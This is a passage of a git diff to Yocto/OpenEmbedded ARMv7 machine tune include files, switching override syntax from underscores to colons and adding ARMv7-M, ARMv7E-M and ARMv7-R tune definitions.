+ARMPKGARCH:tune-armv7athf-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7ahf = "${TUNE_FEATURES:tune-armv7a} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf = "${TUNE_FEATURES:tune-armv7at} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7a-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7at-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-vfpv3 = "${TUNE_FEATURES:tune-armv7a-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-vfpv3 = "${TUNE_FEATURES:tune-armv7at-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7a-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7at-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-neon = "${TUNE_FEATURES:tune-armv7a-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-neon = "${TUNE_FEATURES:tune-armv7at-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7a-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7at-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf = "${PACKAGE_EXTRA_ARCHS:tune-armv6hf} armv7ahf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf = "${PACKAGE_EXTRA_ARCHS:tune-armv6thf} armv7ahf-vfp armv7at2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7ahf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7ahf-vfpv3d16 armv7at2hf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3d16} armv7ahf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3d16} armv7ahf-vfpv3 armv7at2hf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7ahf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7ahf-vfpv4d16 armv7at2hf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7ahf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7ahf-neon armv7at2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} armv7ahf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} armv7ahf-neon-vfpv4 armv7at2hf-neon-vfpv4"
# Big Endian
AVAILTUNES += "armv7ab armv7atb armv7ab-vfpv3d16 armv7atb-vfpv3d16 armv7ab-vfpv3 armv7atb-vfpv3 armv7ab-vfpv4d16 armv7atb-vfpv4d16 armv7ab-neon armv7atb-neon armv7ab-neon-vfpv4 armv7atb-neon-vfpv4"
-ARMPKGARCH_tune-armv7ab ?= "armv7a"
-ARMPKGARCH_tune-armv7atb ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7ab = "${TUNE_FEATURES_tune-armv7a} bigendian"
-TUNE_FEATURES_tune-armv7atb = "${TUNE_FEATURES_tune-armv7at} bigendian"
-TUNE_FEATURES_tune-armv7ab-vfpv3d16 = "${TUNE_FEATURES_tune-armv7a-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7atb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7at-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7ab-vfpv3 = "${TUNE_FEATURES_tune-armv7a-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7atb-vfpv3 = "${TUNE_FEATURES_tune-armv7at-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7ab-vfpv4d16 = "${TUNE_FEATURES_tune-armv7a-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7atb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7at-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7ab-neon = "${TUNE_FEATURES_tune-armv7a-neon} bigendian"
-TUNE_FEATURES_tune-armv7atb-neon = "${TUNE_FEATURES_tune-armv7at-neon} bigendian"
-TUNE_FEATURES_tune-armv7ab-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7a-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7atb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7at-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab = "${PACKAGE_EXTRA_ARCHS_tune-armv6b} armv7ab-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb = "${PACKAGE_EXTRA_ARCHS_tune-armv6tb} armv7ab-vfp armv7at2b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7ab-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7ab-vfpv3d16 armv7at2b-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv3d16} armv7ab-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv3d16} armv7ab-vfpv3 armv7at2b-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7ab-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfp43d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7ab-vfpv4d16 armv7at2b-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7ab-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7ab-neon armv7at2b-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab-neon} armv7ab-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb-neon} armv7ab-neon-vfpv4 armv7at2b-neon-vfpv4"
+ARMPKGARCH:tune-armv7ab ?= "armv7a"
+ARMPKGARCH:tune-armv7atb ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7ab = "${TUNE_FEATURES:tune-armv7a} bigendian"
+TUNE_FEATURES:tune-armv7atb = "${TUNE_FEATURES:tune-armv7at} bigendian"
+TUNE_FEATURES:tune-armv7ab-vfpv3d16 = "${TUNE_FEATURES:tune-armv7a-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7atb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7at-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7ab-vfpv3 = "${TUNE_FEATURES:tune-armv7a-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7atb-vfpv3 = "${TUNE_FEATURES:tune-armv7at-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7ab-vfpv4d16 = "${TUNE_FEATURES:tune-armv7a-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7atb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7at-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7ab-neon = "${TUNE_FEATURES:tune-armv7a-neon} bigendian"
+TUNE_FEATURES:tune-armv7atb-neon = "${TUNE_FEATURES:tune-armv7at-neon} bigendian"
+TUNE_FEATURES:tune-armv7ab-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7a-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7atb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7at-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab = "${PACKAGE_EXTRA_ARCHS:tune-armv6b} armv7ab-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb = "${PACKAGE_EXTRA_ARCHS:tune-armv6tb} armv7ab-vfp armv7at2b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7ab-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7ab-vfpv3d16 armv7at2b-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv3d16} armv7ab-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv3d16} armv7ab-vfpv3 armv7at2b-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7ab-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7ab-vfpv4d16 armv7at2b-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7ab-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7ab-neon armv7at2b-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab-neon} armv7ab-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb-neon} armv7ab-neon-vfpv4 armv7at2b-neon-vfpv4"
# Big Endian + HF
AVAILTUNES += "armv7ahfb armv7athfb armv7ahfb-vfpv3d16 armv7athfb-vfpv3d16 armv7ahfb-vfpv3 armv7athfb-vfpv3 armv7ahfb-vfpv4d16 armv7athfb-vfpv4d16 armv7ahfb-neon armv7athfb-neon armv7ahfb-neon-vfpv4 armv7athfb-neon-vfpv4"
-ARMPKGARCH_tune-armv7ahfb ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7ahfb = "${TUNE_FEATURES_tune-armv7ahf} bigendian"
-TUNE_FEATURES_tune-armv7athfb = "${TUNE_FEATURES_tune-armv7athf} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ahf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7athfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7athf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-vfpv3 = "${TUNE_FEATURES_tune-armv7ahf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7athfb-vfpv3 = "${TUNE_FEATURES_tune-armv7athf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ahf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7athfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7athf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-neon = "${TUNE_FEATURES_tune-armv7ahf-neon} bigendian"
-TUNE_FEATURES_tune-armv7athfb-neon = "${TUNE_FEATURES_tune-armv7athf-neon} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ahf-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7athfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7athf-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb = "${PACKAGE_EXTRA_ARCHS_tune-armv6hfb} armv7ahfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb = "${PACKAGE_EXTRA_ARCHS_tune-armv6thfb} armv7ahfb-vfp armv7at2hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7ahfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7ahfb-vfpv3d16 armv7at2hfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv3d16} armv7ahfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv3d16} armv7ahfb-vfpv3 armv7at2hfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7ahfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7ahfb-vfpv4d16 armv7at2hfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7ahfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7ahfb-neon armv7at2hfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-neon} armv7ahfb-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb-neon} armv7ahfb-neon-vfpv4 armv7at2hfb-neon-vfpv4"
+ARMPKGARCH:tune-armv7ahfb ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7ahfb = "${TUNE_FEATURES:tune-armv7ahf} bigendian"
+TUNE_FEATURES:tune-armv7athfb = "${TUNE_FEATURES:tune-armv7athf} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ahf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7athfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7athf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-vfpv3 = "${TUNE_FEATURES:tune-armv7ahf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7athfb-vfpv3 = "${TUNE_FEATURES:tune-armv7athf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ahf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7athfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7athf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-neon = "${TUNE_FEATURES:tune-armv7ahf-neon} bigendian"
+TUNE_FEATURES:tune-armv7athfb-neon = "${TUNE_FEATURES:tune-armv7athf-neon} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ahf-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7athfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7athf-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb = "${PACKAGE_EXTRA_ARCHS:tune-armv6hfb} armv7ahfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb = "${PACKAGE_EXTRA_ARCHS:tune-armv6thfb} armv7ahfb-vfp armv7at2hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7ahfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7ahfb-vfpv3d16 armv7at2hfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv3d16} armv7ahfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv3d16} armv7ahfb-vfpv3 armv7at2hfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7ahfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7ahfb-vfpv4d16 armv7at2hfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7ahfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7ahfb-neon armv7at2hfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-neon} armv7ahfb-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb-neon} armv7ahfb-neon-vfpv4 armv7at2hfb-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/arch-armv7em.inc b/meta/conf/machine/include/arm/arch-armv7em.inc
new file mode 100644
index 0000000000..f7608ea2ee
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv7em.inc
@@ -0,0 +1,17 @@
+#
+# Defaults for ARMv7e-m
+#
+DEFAULTTUNE ?= "armv7em"
+
+TUNEVALID[armv7em] = "Enable instructions for ARMv7e-m"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7em', ' -march=armv7e-m', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7em', 'armv7em:', '', d)}"
+
+TUNECONFLICTS[armv7em] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv7m.inc
+
+AVAILTUNES += "armv7em"
+ARMPKGARCH:tune-armv7em = "armv7em"
+TUNE_FEATURES:tune-armv7em = "armv7em"
+PACKAGE_EXTRA_ARCHS:tune-armv7em = "armv7em"
diff --git a/meta/conf/machine/include/arm/arch-armv7m.inc b/meta/conf/machine/include/arm/arch-armv7m.inc
new file mode 100644
index 0000000000..2b69a3dfd1
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv7m.inc
@@ -0,0 +1,17 @@
+#
+# Defaults for ARMv7-m
+#
+DEFAULTTUNE ?= "armv7m"
+
+TUNEVALID[armv7m] = "Enable instructions for ARMv7-m"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7m', ' -march=armv7-m', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7m', 'armv7m:', '', d)}"
+
+TUNECONFLICTS[armv7m] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv6m.inc
+
+AVAILTUNES += "armv7m"
+ARMPKGARCH:tune-armv7m = "armv7m"
+TUNE_FEATURES:tune-armv7m = "armv7m"
+PACKAGE_EXTRA_ARCHS:tune-armv7m = "armv7m"
diff --git a/meta/conf/machine/include/arm/arch-armv7r.inc b/meta/conf/machine/include/arm/arch-armv7r.inc
new file mode 100644
index 0000000000..fac26cf4ad
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv7r.inc
@@ -0,0 +1,22 @@
+#
+# Defaults for ARMv7-r
+#
+DEFAULTTUNE ?= "armv7r"
+
+TUNEVALID[armv7r] = "Enable instructions for ARMv7-r"
+TUNE_CCARGS_MARCH = "${@bb.utils.contains('TUNE_FEATURES', 'armv7r', ' -march=armv7-r', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7r', 'armv7r:', '', d)}"
+
+TUNECONFLICTS[armv7r] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv6.inc
+require conf/machine/include/arm/feature-arm-idiv.inc
+require conf/machine/include/arm/feature-arm-neon.inc
+
+AVAILTUNES += "armv7r armv7r-vfpv3d16"
+ARMPKGARCH:tune-armv7r = "armv7r"
+ARMPKGARCH:tune-armv7r-vfpv3d16 = "armv7r"
+TUNE_FEATURES:tune-armv7r = "armv7r"
+TUNE_FEATURES:tune-armv7r-vfpv3d16 = "${TUNE_FEATURES:tune-armv7r} vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7r = "armv7r"
+PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r} tune-armv7r-fpv3d16"
diff --git a/meta/conf/machine/include/arm/arch-armv7ve.inc b/meta/conf/machine/include/arm/arch-armv7ve.inc
index fc172d0cb0..8102ae6085 100644
--- a/meta/conf/machine/include/arm/arch-armv7ve.inc
+++ b/meta/conf/machine/include/arm/arch-armv7ve.inc
@@ -2,163 +2,163 @@ DEFAULTTUNE ?= "armv7vethf"
TUNEVALID[armv7ve] = "Enable instructions for ARMv7ve"
TUNECONFLICTS[armv7ve] = "armv4 armv5 armv6 armv7 armv7a"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', ' -march=armv7ve', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', 'armv7ve:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', ' -march=armv7ve', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', 'armv7ve:', '', d)}"
require conf/machine/include/arm/arch-armv7a.inc
# Little Endian base configs
AVAILTUNES += "armv7ve armv7vet armv7ve-vfpv3d16 armv7vet-vfpv3d16 armv7ve-vfpv3 armv7vet-vfpv3 armv7ve-vfpv4d16 armv7vet-vfpv4d16 armv7ve-neon armv7vet-neon armv7ve-neon-vfpv4 armv7vet-neon-vfpv4"
-ARMPKGARCH_tune-armv7ve ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7ve = "arm armv7ve vfp"
-TUNE_FEATURES_tune-armv7vet = "${TUNE_FEATURES_tune-armv7ve} thumb"
-TUNE_FEATURES_tune-armv7ve-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ve} vfpv3d16"
-TUNE_FEATURES_tune-armv7vet-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vet} vfpv3d16"
-TUNE_FEATURES_tune-armv7ve-vfpv3 = "${TUNE_FEATURES_tune-armv7ve-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7vet-vfpv3 = "${TUNE_FEATURES_tune-armv7vet-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7ve-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ve} vfpv4d16"
-TUNE_FEATURES_tune-armv7vet-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vet} vfpv4d16"
-TUNE_FEATURES_tune-armv7ve-neon = "${TUNE_FEATURES_tune-armv7ve} neon"
-TUNE_FEATURES_tune-armv7vet-neon = "${TUNE_FEATURES_tune-armv7vet} neon"
-TUNE_FEATURES_tune-armv7ve-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ve-neon} vfpv4"
-TUNE_FEATURES_tune-armv7vet-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vet-neon} vfpv4"
